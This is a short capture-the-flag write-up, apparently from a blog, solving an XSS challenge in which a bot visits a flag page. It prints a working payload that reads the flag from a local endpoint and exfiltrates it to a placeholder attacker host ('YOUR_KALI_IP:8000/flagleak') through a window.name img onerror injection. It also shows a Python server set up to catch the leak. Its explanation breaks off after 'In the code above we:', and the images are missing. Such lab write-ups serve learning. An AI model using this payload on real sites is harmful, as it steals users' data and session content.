image.png

This is an XSS challenge in which we have a bot that can visit both the front page and the flag page.

image.png

One way we can trigger XSS is first to create a file that looks like this on Kali.

index.html

<html>
<script id='payload'>
    base_addr = 'http://YOUR_KALI_IP:8000';
    fetch('http://127.0.0.1:5000/flag')
        .then((response) => response.text())
        .then(
            (text) => 
                fetch(base_addr + '/flagleak?data=' + encodeURIComponent(text), {
                    'mode': 'no-cors'
                })
        );
</script>
<script id='starter'>
    payload = document.getElementById('payload').innerHTML;
    window.name = '<img src="http://192.168.228.253" onerror="'+payload+'">';
   
</script>
</html>

In the code above we:

Then stage a Python3 http server.

python3 -m http.server

image.png

My Kali is on 192.168.228.67 so the bot looks like this:

image.png

image.png